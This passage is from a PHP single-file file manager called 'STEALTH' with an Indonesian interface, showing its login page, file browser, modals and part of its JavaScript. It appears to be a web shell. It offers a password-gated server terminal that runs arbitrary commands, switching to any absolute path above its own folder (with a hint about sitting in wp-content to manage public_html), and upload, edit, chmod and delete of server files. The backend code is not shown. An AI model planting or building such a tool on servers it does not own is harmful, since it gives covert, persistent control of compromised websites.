.perm-col { background: var(--bg2); border-radius: var(--radius); padding: 10px; border: 1px solid var(--border); }
.perm-col label { font-size: 10px; color: var(--text3); letter-spacing: 1px; display: block; margin-bottom: 8px; text-transform: uppercase; }
.perm-row { display: flex; align-items: center; gap: 6px; margin-bottom: 4px; font-size: 12px; color: var(--text2); }
.perm-row input { accent-color: var(--accent); }

/* ─── SCROLLBAR ─────────────────────────────────── */
::-webkit-scrollbar { width: 6px; height: 6px; }
::-webkit-scrollbar-track { background: var(--bg); }
::-webkit-scrollbar-thumb { background: var(--border); border-radius: 3px; }
::-webkit-scrollbar-thumb:hover { background: var(--text3); }

/* ─── RESPONSIVE ─────────────────────────────────── */
@media (max-width: 768px) {
  .sidebar { display: none; }
  .search-bar input { width: 120px; }
}
</style>
</head>
<body>

<?php if (!fm_is_logged_in()): ?>

<div class="login-wrap">
  <div class="login-card">
    <div class="login-logo">
      <span class="logo-icon">🔒</span>
      <h1>STEALTH</h1>
      <p>FILE MANAGER v<?= FM_VERSION ?></p>
    </div>
    <?php if ($msg): ?>
      <div class="toast" style="margin-bottom:16px; animation:none; pointer-events:all;">
        <span>❌</span> <?= htmlspecialchars($msg) ?>
      </div>
    <?php endif; ?>
    <form method="POST" class="login-form">
      <input type="hidden" name="action" value="login">
      <input type="password" name="password" placeholder="Masukkan password..." autofocus>
      <button type="submit" class="btn btn-primary">🔑 Masuk</button>
    </form>
  </div>
</div>

<?php else:
// ============================================================
// MAIN APP
// ============================================================
$cur_path = fm_clean_path($_GET['p'] ?? '');
$fm_base  = fm_get_base_root();
$cur_full = fm_full_path($cur_path);
$quick_roots = fm_discover_quick_roots();
$base_parent = dirname($fm_base);
$can_up_root = ($base_parent !== $fm_base && is_dir($base_parent) && is_readable($base_parent));
list($dirs, $files) = fm_list_dir($cur_path);
$disk = fm_get_disk_usage($fm_base);
$disk_pct = round(($disk['used'] / $disk['total']) * 100);
$total_items = count($dirs) + count($files);

// Search
$search_results = [];
if (!empty($_POST['query']) && $_POST['action'] === 'search') {
    $q = strtolower($_POST['query']);
    $search_base = fm_norm_path($fm_base) . '/';
    $dir_iter = new RecursiveDirectoryIterator($fm_base, RecursiveDirectoryIterator::SKIP_DOTS);
    $iter = new RecursiveIteratorIterator($dir_iter);
    foreach ($iter as $f) {
        if (strpos(strtolower($f->getFilename()), $q) !== false) {
            $pathname = fm_norm_path($f->getPathname());
            $rel = (strpos($pathname, $search_base) === 0)
                ? substr($pathname, strlen($search_base))
                : $pathname;
            $search_results[] = [
                'name' => $f->getFilename(),
                'path' => $rel,
                'is_dir' => $f->isDir(),
                'size' => $f->isFile() ? $f->getSize() : 0,
            ];
        }
    }
}

// Build breadcrumb
$parts = $cur_path ? explode('/', $cur_path) : [];
?>

<div class="app-wrap">

<div class="topbar">
  <div class="topbar-logo"><span>⚡</span> STEALTH</div>
  
  
  <div class="breadcrumb">
    <a href="?" title="<?= htmlspecialchars($fm_base) ?>">🏠 <?= htmlspecialchars(basename($fm_base) ?: $fm_base) ?></a>
    <?php
    $bpath = '';
    foreach ($parts as $part):
      $bpath .= ($bpath ? '/' : '') . $part;
    ?>
      <span class="sep">/</span>
      <a href="?p=<?= urlencode($bpath) ?>"><?= htmlspecialchars($part) ?></a>
    <?php endforeach; ?>
  </div>

<form method="POST" class="search-bar">
    <input type="hidden" name="action" value="search">
    <span>🔍</span>
    <input type="text" name="query" placeholder="Cari file..." 
           value="<?= htmlspecialchars($_POST['query'] ?? '') ?>"
           onkeydown="if(event.key==='Enter'){this.form.submit();}">
    <button type="submit" style="display:none">Search</button>
  </form>

<div class="topbar-actions">
    <span style="color:var(--text3);font-size:11px;"><?= php_uname('n') ?></span>
    <a href="?action=logout" class="btn btn-ghost" style="font-size:11px;">🚪 Keluar</a>
  </div>
</div>

<div class="main-content">

<div class="sidebar">
  <div class="sidebar-section">
    <div class="sidebar-title">Root folder</div>
    <div class="root-current" title="<?= htmlspecialchars($fm_base) ?>"><?= htmlspecialchars($fm_base) ?></div>
    <?php if ($can_up_root): ?>
    <a class="sidebar-item" href="?up_root=1">
      <span class="icon">⬆️</span> Naik satu tingkat
    </a>
    <?php endif; ?>
    <a class="sidebar-item" href="?" onclick="showModal('root-modal'); return false;">
      <span class="icon">📂</span> Ganti path...
    </a>
  </div>

<div class="sidebar-section root-quick-list">
    <div class="sidebar-title">Lokasi cepat</div>
    <?php foreach ($quick_roots as $qr):
      $active = fm_norm_path($qr['path']) === fm_norm_path($fm_base);
    ?>
    <a class="sidebar-item root-quick <?= $active ? 'active' : '' ?>"
       href="?set_root=<?= urlencode($qr['path']) ?>"
       title="<?= htmlspecialchars($qr['path']) ?>">
      <span class="icon">📁</span>
      <span class="root-label"><?= htmlspecialchars($qr['label']) ?></span>
    </a>
    <?php endforeach; ?>
  </div>

<div class="sidebar-section">
    <div class="sidebar-title">Navigasi</div>
    <a class="sidebar-item <?= !$cur_path ? 'active' : '' ?>" href="?">
      <span class="icon">🏠</span> Root (folder ini)
    </a>
    <a class="sidebar-item" href="?" onclick="showModal('upload-modal'); return false;">
      <span class="icon">📤</span> Upload File
    </a>
    <a class="sidebar-item" href="?" onclick="showModal('mkdir-modal'); return false;">
      <span class="icon">📁</span> Buat Folder
    </a>
    <a class="sidebar-item" href="?" onclick="showModal('newfile-modal'); return false;">
      <span class="icon">📝</span> File Baru
    </a>
  </div>
  
  <div class="sidebar-section">
    <div class="sidebar-title">Alat</div>
    <a class="sidebar-item" href="?" onclick="showModal('terminal-modal'); return false;">
      <span class="icon">💻</span> Terminal
    </a>
    <a class="sidebar-item" href="?" onclick="bulkAction('copy')">
      <span class="icon">📋</span> Copy Pilihan
    </a>
    <a class="sidebar-item" href="?" onclick="bulkAction('move')">
      <span class="icon">✂️</span> Pindah Pilihan
    </a>
    <a class="sidebar-item" href="?" onclick="deleteSelected()">
      <span class="icon">🗑️</span> Hapus Pilihan
    </a>
  </div>

<div class="sidebar-section">
    <div class="sidebar-title">Info Server</div>
    <div class="sidebar-item" style="cursor:default;">
      <span class="icon">🐘</span> PHP <?= PHP_VERSION ?>
    </div>
    <div class="sidebar-item" style="cursor:default;">
      <span class="icon">💾</span> <?= fm_file_size(FM_MAX_UPLOAD_SIZE) ?> Max
    </div>
    <div class="sidebar-item" style="cursor:default;">
      <span class="icon">🖥️</span> <?= PHP_OS ?>
    </div>
  </div>

<div class="disk-info">
    <div class="label">DISK USAGE</div>
    <div class="disk-bar"><div class="disk-bar-fill" style="width:<?= $disk_pct ?>%"></div></div>
    <div class="disk-stats">
      <span><?= fm_file_size($disk['used']) ?> used</span>
      <span><?= $disk_pct ?>%</span>
    </div>
    <div class="disk-stats" style="margin-top:2px;">
      <span style="color:var(--text3)">Free: <?= fm_file_size($disk['free']) ?></span>
      <span style="color:var(--text3)"><?= fm_file_size($disk['total']) ?></span>
    </div>
  </div>
</div>

<div class="file-area">
  
  <div class="toolbar">
    <button class="btn btn-ghost" onclick="showModal('upload-modal')">📤 Upload</button>
    <button class="btn btn-ghost" onclick="showModal('mkdir-modal')">📁 Folder</button>
    <button class="btn btn-ghost" onclick="showModal('newfile-modal')">📝 File</button>
    <div class="toolbar-sep"></div>
    <button class="btn btn-ghost" onclick="selectAll()">☑️ Semua</button>
    <button class="btn btn-ghost" onclick="deleteSelected()">🗑️ Hapus</button>
    <button class="btn btn-ghost" onclick="bulkAction('copy')">📋 Copy</button>
    <button class="btn btn-ghost" onclick="bulkAction('move')">✂️ Pindah</button>
    <div class="toolbar-sep"></div>
    <button class="btn btn-ghost" onclick="showModal('root-modal')">📂 Ganti root</button>
    <button class="btn btn-ghost" onclick="location.reload()">🔄 Refresh</button>
    <?php if ($cur_path): ?>
      <a href="?p=<?= urlencode(dirname($cur_path) === '.' ? '' : dirname($cur_path)) ?>" class="btn btn-ghost">⬆️ Naik</a>
    <?php elseif ($can_up_root): ?>
      <a href="?up_root=1" class="btn btn-ghost">⬆️ Naik root</a>
    <?php endif; ?>
  </div>

<div class="statusbar">
    <span>📁 <?= count($dirs) ?> folder &nbsp;|&nbsp; 📄 <?= count($files) ?> file</span>
    <span class="sel-count" id="sel-count" style="display:none">0 dipilih</span>
    <span style="margin-left:auto; color:var(--text3)">
      <?= realpath($cur_full) ?: $cur_full ?>
    </span>
  </div>

<div class="file-table-wrap" id="file-table-wrap">
    <?php if (!empty($search_results)): ?>
      
      <div style="padding:12px 16px; font-size:12px; color:var(--accent);">
        🔍 <?= count($search_results) ?> hasil untuk "<?= htmlspecialchars($_POST['query'] ?? '') ?>"
        &nbsp;·&nbsp; <a href="?p=<?= urlencode($cur_path) ?>" style="color:var(--text2)">Kembali</a>
      </div>
      <?php foreach ($search_results as $sr): ?>
        <div class="search-result-item" 
             onclick="window.location='?p=<?= urlencode(dirname($sr['path']) === '.' ? '' : dirname($sr['path'])) ?>'">
          <span style="font-size:18px;"><?= $sr['is_dir'] ? '📁' : fm_file_icon($sr['name']) ?></span>
          <div>
            <div><?= htmlspecialchars($sr['name']) ?></div>
            <div class="path"><?= htmlspecialchars($sr['path']) ?>
              <?= !$sr['is_dir'] ? ' · ' . fm_file_size($sr['size']) : '' ?>
            </div>
          </div>
        </div>
      <?php endforeach; ?>
    <?php else: ?>
    <table class="file-table">
      <thead>
        <tr>
          <th class="col-check"><input type="checkbox" id="check-all" onchange="toggleAll(this)"></th>
          <th class="col-icon"></th>
          <th class="col-name" onclick="sortTable(2)">Nama ↕</th>
          <th class="col-size" onclick="sortTable(3)">Ukuran ↕</th>
          <th class="col-perms">Perms</th>
          <th class="col-date" onclick="sortTable(5)">Diubah ↕</th>
          <th class="col-actions">Aksi</th>
        </tr>
      </thead>
      <tbody id="file-tbody">
        <?php if ($cur_path): ?>
        <tr>
          <td></td>
          <td class="col-icon">📁</td>
          <td class="col-name">
            <a href="?p=<?= urlencode(dirname($cur_path) === '.' ? '' : dirname($cur_path)) ?>">.. (Naik)</a>
          </td>
          <td class="col-size">—</td>
          <td class="col-perms">—</td>
          <td class="col-date">—</td>
          <td></td>
        </tr>
        <?php endif; ?>

<?php foreach ($dirs as $dir):
          $dpath = $cur_path ? $cur_path . '/' . $dir : $dir;
          $dfull = fm_full_path($dpath);
          $dperms = fm_get_perms($dfull);
          $dmtime = filemtime($dfull);
        ?>
        <tr oncontextmenu="showCtx(event,'<?= addslashes($dir) ?>',true);return false;">
          <td class="col-check">
            <input type="checkbox" class="item-check" value="<?= htmlspecialchars($dir) ?>" onchange="updateSel()">
          </td>
          <td class="col-icon">📁</td>
          <td class="col-name">
            <a href="?p=<?= urlencode($dpath) ?>">📁 <?= htmlspecialchars($dir) ?></a>
          </td>
          <td class="col-size">—</td>
          <td class="col-perms"><?= $dperms ?></td>
          <td class="col-date"><?= date('Y-m-d H:i', $dmtime) ?></td>
          <td>
            <div class="file-actions">
              <button class="action-btn" onclick="showRename('<?= addslashes($dir) ?>')">✏️</button>
              <button class="action-btn" onclick="showChmod('<?= addslashes($dir) ?>','<?= $dperms ?>')">🔑</button>
              <button class="action-btn" onclick="showInfo('<?= addslashes($dir) ?>',true,<?= $dmtime ?>,0,'<?= $dperms ?>')">ℹ️</button>
              <a href="?action=zip_download&p=<?= urlencode($cur_path) ?>&f=<?= urlencode($dir) ?>" class="action-btn green">📦</a>
              <button class="action-btn red" onclick="confirmDelete(['<?= addslashes($dir) ?>'])">🗑️</button>
            </div>
          </td>
        </tr>
        <?php endforeach; ?>

<?php foreach ($files as $file):
          $fpath = $cur_path ? $cur_path . '/' . $file : $file;
          $ffull = fm_full_path($fpath);
          $fsize = filesize($ffull);
          $fperms = fm_get_perms($ffull);
          $fmtime = filemtime($ffull);
          $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
        ?>
        <tr oncontextmenu="showCtx(event,'<?= addslashes($file) ?>',false);return false;">
          <td class="col-check">
            <input type="checkbox" class="item-check" value="<?= htmlspecialchars($file) ?>" onchange="updateSel()">
          </td>
          <td class="col-icon"><?= fm_file_icon($file) ?></td>
          <td class="col-name">
            <?php if (fm_is_text_file($file)): ?>
              <a href="#" onclick="openEditor('<?= addslashes($file) ?>');return false;">
                <?= htmlspecialchars($file) ?>
              </a>
            <?php elseif (fm_is_image($file)): ?>
              <a href="#" onclick="previewImage('<?= addslashes($file) ?>', '?p=<?= urlencode($cur_path) ?>&f=<?= urlencode($file) ?>&preview=1');return false;">
                <?= htmlspecialchars($file) ?>
              </a>
            <?php else: ?>
              <span><?= htmlspecialchars($file) ?></span>
            <?php endif; ?>
          </td>
          <td class="col-size"><?= fm_file_size($fsize) ?></td>
          <td class="col-perms"><?= $fperms ?></td>
          <td class="col-date"><?= date('Y-m-d H:i', $fmtime) ?></td>
          <td>
            <div class="file-actions">
              <?php if (fm_is_text_file($file)): ?>
                <button class="action-btn" onclick="openEditor('<?= addslashes($file) ?>')">✏️</button>
              <?php endif; ?>
              <button class="action-btn" onclick="showRename('<?= addslashes($file) ?>')">📝</button>
              <a href="?action=download&p=<?= urlencode($cur_path) ?>&f=<?= urlencode($file) ?>" class="action-btn green">⬇️</a>
              <button class="action-btn" onclick="showChmod('<?= addslashes($file) ?>','<?= $fperms ?>')">🔑</button>
              <?php if ($ext === 'zip'): ?>
                <button class="action-btn" onclick="extractZip('<?= addslashes($file) ?>')">📦</button>
              <?php endif; ?>
              <button class="action-btn red" onclick="confirmDelete(['<?= addslashes($file) ?>'])">🗑️</button>
            </div>
          </td>
        </tr>
        <?php endforeach; ?>

<?php if (!$dirs && !$files): ?>
        <tr><td colspan="7">
          <div class="empty-state">
            <span class="icon">📭</span>
            <p>Folder kosong</p>
          </div>
        </td></tr>
        <?php endif; ?>
      </tbody>
    </table>
    <?php endif; ?>
  </div>
</div>
</div>
</div>

<div class="modal-overlay" id="upload-modal">
  <div class="modal">
    <div class="modal-header">
      <div class="modal-title">📤 Upload File</div>
      <button class="modal-close" onclick="closeModal('upload-modal')">✕</button>
    </div>
    <form method="POST" enctype="multipart/form-data">
      <input type="hidden" name="action" value="upload">
      <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>">
      <div class="upload-zone" id="upload-zone" onclick="document.getElementById('file-input').click()">
        <input type="file" name="files[]" id="file-input" multiple onchange="showFiles(this)">
        <span class="icon">📁</span>
        <div>Klik atau seret file ke sini</div>
        <div style="font-size:11px;color:var(--text3);margin-top:4px;">
          Max: <?= fm_file_size(FM_MAX_UPLOAD_SIZE) ?> per file
        </div>
      </div>
      <div class="upload-list" id="upload-list"></div>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('upload-modal')">Batal</button>
        <button type="submit" class="btn btn-primary">Upload</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-overlay" id="root-modal">
  <div class="modal">
    <div class="modal-header">
      <div class="modal-title">📂 Ganti folder root</div>
      <button class="modal-close" onclick="closeModal('root-modal')">✕</button>
    </div>
    <p style="color:var(--text2);font-size:12px;margin-bottom:12px;">
      Masukkan path absolut server, mis. <code>/home/user/public_html</code>.
      Berguna jika skrip ada di <code>wp-content</code> tapi ingin mengelola <code>public_html</code>.
    </p>
    <form method="POST">
      <input type="hidden" name="action" value="set_root_path">
      <div class="form-group">
        <label class="form-label">Path absolut</label>
        <input type="text" name="root_path" class="form-input" required
               placeholder="/home/username/public_html"
               value="<?= htmlspecialchars($fm_base) ?>">
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('root-modal')">Batal</button>
        <button type="submit" class="btn btn-primary">Buka path ini</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-overlay" id="mkdir-modal">
  <div class="modal">
    <div class="modal-header">
      <div class="modal-title">📁 Buat Folder Baru</div>
      <button class="modal-close" onclick="closeModal('mkdir-modal')">✕</button>
    </div>
    <form method="POST">
      <input type="hidden" name="action" value="mkdir">
      <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>">
      <div class="form-group">
        <label class="form-label">Nama Folder</label>
        <input type="text" name="name" class="form-input" placeholder="nama-folder-baru" autofocus>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('mkdir-modal')">Batal</button>
        <button type="submit" class="btn btn-success">Buat Folder</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-overlay" id="newfile-modal">
  <div class="modal">
    <div class="modal-header">
      <div class="modal-title">📝 Buat File Baru</div>
      <button class="modal-close" onclick="closeModal('newfile-modal')">✕</button>
    </div>
    <form method="POST">
      <input type="hidden" name="action" value="newfile">
      <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>">
      <div class="form-group">
        <label class="form-label">Nama File</label>
        <input type="text" name="name" class="form-input" placeholder="file.txt" autofocus>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('newfile-modal')">Batal</button>
        <button type="submit" class="btn btn-success">Buat File</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-overlay" id="rename-modal">
  <div class="modal">
    <div class="modal-header">
      <div class="modal-title">✏️ Ubah Nama</div>
      <button class="modal-close" onclick="closeModal('rename-modal')">✕</button>
    </div>
    <form method="POST">
      <input type="hidden" name="action" value="rename">
      <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>">
      <input type="hidden" name="old" id="rename-old">
      <div class="form-group">
        <label class="form-label">Nama Baru</label>
        <input type="text" name="new" id="rename-new" class="form-input">
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('rename-modal')">Batal</button>
        <button type="submit" class="btn btn-primary">Ubah Nama</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-overlay" id="delete-modal">
  <div class="modal">
    <div class="modal-header">
      <div class="modal-title">🗑️ Konfirmasi Hapus</div>
      <button class="modal-close" onclick="closeModal('delete-modal')">✕</button>
    </div>
    <p style="color:var(--text2);margin-bottom:16px;">Item berikut akan dihapus permanen:</p>
    <div id="delete-list" style="background:var(--bg2);border-radius:var(--radius);padding:10px 14px;margin-bottom:16px;max-height:150px;overflow-y:auto;font-size:12px;color:var(--red)"></div>
    <form method="POST" id="delete-form">
      <input type="hidden" name="action" value="delete">
      <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>">
      <div id="delete-inputs"></div>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('delete-modal')">Batal</button>
        <button type="submit" class="btn btn-danger">🗑️ Hapus</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-overlay" id="movecopy-modal">
  <div class="modal">
    <div class="modal-header">
      <div class="modal-title" id="movecopy-title">📋 Copy / Pindah</div>
      <button class="modal-close" onclick="closeModal('movecopy-modal')">✕</button>
    </div>
    <form method="POST" id="movecopy-form">
      <input type="hidden" name="action" id="movecopy-action" value="copy">
      <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>">
      <div id="movecopy-inputs"></div>
      <div class="form-group">
        <label class="form-label">Path tujuan (relatif atau absolut)</label>
        <input type="text" name="dest" class="form-input" placeholder="subfolder atau /home/user/public_html">
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('movecopy-modal')">Batal</button>
        <button type="submit" class="btn btn-primary" id="movecopy-btn">Lanjutkan</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-overlay" id="chmod-modal">
  <div class="modal">
    <div class="modal-header">
      <div class="modal-title">🔑 Ubah Permission</div>
      <button class="modal-close" onclick="closeModal('chmod-modal')">✕</button>
    </div>
    <form method="POST" id="chmod-form">
      <input type="hidden" name="action" value="chmod">
      <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>">
      <input type="hidden" name="item" id="chmod-item">
      <div class="perm-grid">
        <div class="perm-col">
          <label>Owner</label>
          <div class="perm-row"><input type="checkbox" id="o-r" onchange="updatePerms()"> Read (4)</div>
          <div class="perm-row"><input type="checkbox" id="o-w" onchange="updatePerms()"> Write (2)</div>
          <div class="perm-row"><input type="checkbox" id="o-x" onchange="updatePerms()"> Execute (1)</div>
        </div>
        <div class="perm-col">
          <label>Group</label>
          <div class="perm-row"><input type="checkbox" id="g-r" onchange="updatePerms()"> Read (4)</div>
          <div class="perm-row"><input type="checkbox" id="g-w" onchange="updatePerms()"> Write (2)</div>
          <div class="perm-row"><input type="checkbox" id="g-x" onchange="updatePerms()"> Execute (1)</div>
        </div>
        <div class="perm-col">
          <label>Others</label>
          <div class="perm-row"><input type="checkbox" id="a-r" onchange="updatePerms()"> Read (4)</div>
          <div class="perm-row"><input type="checkbox" id="a-w" onchange="updatePerms()"> Write (2)</div>
          <div class="perm-row"><input type="checkbox" id="a-x" onchange="updatePerms()"> Execute (1)</div>
        </div>
      </div>
      <div class="form-group" style="margin-top:16px;">
        <label class="form-label">Oktal</label>
        <input type="text" name="perms" id="perms-octal" class="form-input" placeholder="0755" maxlength="4" oninput="syncFromOctal()">
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('chmod-modal')">Batal</button>
        <button type="submit" class="btn btn-primary">Terapkan</button>
      </div>
    </form>
  </div>
</div>

<div class="modal-overlay" id="info-modal">
  <div class="modal">
    <div class="modal-header">
      <div class="modal-title">ℹ️ Informasi File</div>
      <button class="modal-close" onclick="closeModal('info-modal')">✕</button>
    </div>
    <div class="info-grid" id="info-content"></div>
    <div class="modal-footer">
      <button class="btn btn-ghost" onclick="closeModal('info-modal')">Tutup</button>
    </div>
  </div>
</div>

<div class="modal-overlay" id="editor-modal">
  <div class="modal modal-xl">
    <div class="modal-header">
      <div class="modal-title">✏️ Editor: <span id="editor-filename"></span></div>
      <div style="display:flex;gap:8px;align-items:center;">
        <select id="editor-mode" class="form-select" style="width:120px;padding:4px 8px;" onchange="changeMode()">
          <option value="null">Plain</option>
          <option value="php">PHP</option>
          <option value="javascript">JavaScript</option>
          <option value="css">CSS</option>
          <option value="htmlmixed">HTML</option>
          <option value="sql">SQL</option>
          <option value="python">Python</option>
          <option value="shell">Shell</option>
          <option value="xml">XML</option>
          <option value="yaml">YAML</option>
          <option value="markdown">Markdown</option>
        </select>
        <button class="btn btn-success" onclick="saveFile()">💾 Simpan</button>
        <button class="modal-close" onclick="closeModal('editor-modal')">✕</button>
      </div>
    </div>
    <div class="editor-body">
      <textarea id="code-editor"></textarea>
    </div>
  </div>
</div>

<div class="modal-overlay" id="preview-modal">
  <div class="modal modal-lg">
    <div class="modal-header">
      <div class="modal-title" id="preview-title">🖼️ Preview</div>
      <button class="modal-close" onclick="closeModal('preview-modal')">✕</button>
    </div>
    <div id="preview-content" style="text-align:center;"></div>
    <div class="modal-footer">
      <button class="btn btn-ghost" onclick="closeModal('preview-modal')">Tutup</button>
    </div>
  </div>
</div>

<div class="modal-overlay" id="terminal-modal">
  <div class="modal modal-lg">
    <div class="modal-header">
      <div class="modal-title">💻 Terminal Sederhana</div>
      <button class="modal-close" onclick="closeModal('terminal-modal')">✕</button>
    </div>
    <div id="terminal-output" style="background:var(--bg);border:1px solid var(--border);border-radius:var(--radius);padding:12px;font-size:12px;color:var(--accent2);min-height:200px;max-height:350px;overflow-y:auto;white-space:pre-wrap;font-family:'JetBrains Mono',monospace;"></div>
    <div style="display:flex;gap:8px;margin-top:12px;">
      <span style="color:var(--text2);font-size:12px;align-self:center;">$ </span>
      <input type="text" id="terminal-input" class="form-input" placeholder="Masukkan perintah... (php, ls, pwd, dll)" onkeydown="if(event.key==='Enter')runCmd()">
      <button class="btn btn-ghost" onclick="runCmd()">▶</button>
    </div>
    <div style="font-size:11px;color:var(--text3);margin-top:8px;">⚠️ Perintah dijalankan di server. Gunakan dengan hati-hati.</div>
  </div>
</div>

<div class="modal-overlay" id="extract-modal">
  <div class="modal">
    <div class="modal-header">
      <div class="modal-title">📦 Ekstrak ZIP</div>
      <button class="modal-close" onclick="closeModal('extract-modal')">✕</button>
    </div>
    <form method="POST">
      <input type="hidden" name="action" value="extract">
      <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>">
      <input type="hidden" name="file" id="extract-file">
      <p style="color:var(--text2);margin-bottom:16px;">File akan diekstrak ke folder saat ini.</p>
      <div class="modal-footer">
        <button type="button" class="btn btn-ghost" onclick="closeModal('extract-modal')">Batal</button>
        <button type="submit" class="btn btn-success">📦 Ekstrak</button>
      </div>
    </form>
  </div>
</div>

<div class="ctx-menu" id="ctx-menu">
  <div class="ctx-item" id="ctx-open" onclick="ctxAction('open')">📂 Buka</div>
  <div class="ctx-item" id="ctx-edit" onclick="ctxAction('edit')">✏️ Edit</div>
  <div class="ctx-item" onclick="ctxAction('rename')">📝 Ubah Nama</div>
  <div class="ctx-item" onclick="ctxAction('download')">⬇️ Download</div>
  <div class="ctx-item" onclick="ctxAction('zip')">📦 Download ZIP</div>
  <div class="ctx-sep"></div>
  <div class="ctx-item" onclick="ctxAction('copy')">📋 Copy</div>
  <div class="ctx-item" onclick="ctxAction('move')">✂️ Pindah</div>
  <div class="ctx-sep"></div>
  <div class="ctx-item" onclick="ctxAction('chmod')">🔑 Permission</div>
  <div class="ctx-item" onclick="ctxAction('info')">ℹ️ Properti</div>
  <div class="ctx-sep"></div>
  <div class="ctx-item red" onclick="ctxAction('delete')">🗑️ Hapus</div>
</div>

<div class="toast-wrap" id="toast-wrap"></div>

<?php if ($msg): ?>
<script>
window.addEventListener('DOMContentLoaded', function() {
  showToast('<?= addslashes($msg) ?>', '<?= $msg_type ?>');
});
</script>
<?php endif; ?>

<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/php/php.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/javascript/javascript.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/css/css.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/htmlmixed/htmlmixed.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/sql/sql.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/python/python.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/shell/shell.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/xml/xml.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/yaml/yaml.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/markdown/markdown.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/edit/matchbrackets.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/selection/active-line.min.js"></script>

// ── MODAL ──────────────────────────────────
function showModal(id) {
  document.getElementById(id).classList.add('active');
  setTimeout(() => {
    const input = document.querySelector('#' + id + ' .form-input');
    if (input) input.focus();
  }, 100);
}

function closeModal(id) {
  document.getElementById(id).classList.remove('active');
}

document.addEventListener('keydown', e => {
  if (e.key === 'Escape') {
    document.querySelectorAll('.modal-overlay.active').forEach(m => m.classList.remove('active'));
    hideCtx();
  }
});

document.addEventListener('click', e => {
  if (!e.target.closest('.ctx-menu')) hideCtx();
});

// ── TOAST ──────────────────────────────────
function showToast(msg, type = 'success') {
  const icons = { success: '✅', error: '❌', warning: '⚠️' };
  const t = document.createElement('div');
  t.className = 'toast ' + type;
  t.innerHTML = `<span>${icons[type]||'ℹ️'}</span> ${msg}`;
  document.getElementById('toast-wrap').appendChild(t);
  setTimeout(() => t.remove(), 4000);
}

// ── SELECTION ──────────────────────────────
function toggleAll(cb) {
  document.querySelectorAll('.item-check').forEach(c => c.checked = cb.checked);
  updateSel();
}

function selectAll() {
  document.querySelectorAll('.item-check').forEach(c => c.checked = true);
  document.getElementById('check-all').checked = true;
  updateSel();
}

function getSelected() {
  return [...document.querySelectorAll('.item-check:checked')].map(c => c.value);
}

// ── RENAME ──────────────────────────────────
function showRename(name) {
  document.getElementById('rename-old').value = name;
  document.getElementById('rename-new').value = name;
  showModal('rename-modal');
}

// ── DELETE ──────────────────────────────────
function confirmDelete(items) {
  const list = document.getElementById('delete-list');
  const inputs = document.getElementById('delete-inputs');
  list.innerHTML = items.map(i => `<div>• ${i}</div>`).join('');
  inputs.innerHTML = items.map(i => `<input type="hidden" name="items[]" value="${i}">`).join('');
  showModal('delete-modal');
}

function deleteSelected() {
  const sel = getSelected();
  if (!sel.length) { showToast('Pilih file dulu!', 'warning'); return; }
  confirmDelete(sel);
}

// ── COPY / MOVE ─────────────────────────────
function bulkAction(action) {
  const sel = getSelected();
  if (!sel.length) { showToast('Pilih file dulu!', 'warning'); return; }
  document.getElementById('movecopy-action').value = action;
  document.getElementById('movecopy-title').textContent = action === 'copy' ? '📋 Copy' : '✂️ Pindah';
  document.getElementById('movecopy-btn').textContent = action === 'copy' ? 'Copy' : 'Pindah';
  document.getElementById('movecopy-inputs').innerHTML = sel.map(i => `<input type="hidden" name="items[]" value="${i}">`).join('');
  showModal('movecopy-modal');
}

// ── CHMOD ───────────────────────────────────
function showChmod(name, perms) {
  document.getElementById('chmod-item').value = name;
  document.getElementById('perms-octal').value = perms;
  
  const p = parseInt(perms, 8);
  document.getElementById('o-r').checked = !!(p & 0o400);
  document.getElementById('o-w').checked = !!(p & 0o200);
  document.getElementById('o-x').checked = !!(p & 0o100);
  document.getElementById('g-r').checked = !!(p & 0o040);
  document.getElementById('g-w').checked = !!(p & 0o020);
  document.getElementById('g-x').checked = !!(p & 0o010);
  document.getElementById('a-r').checked = !!(p & 0o004);
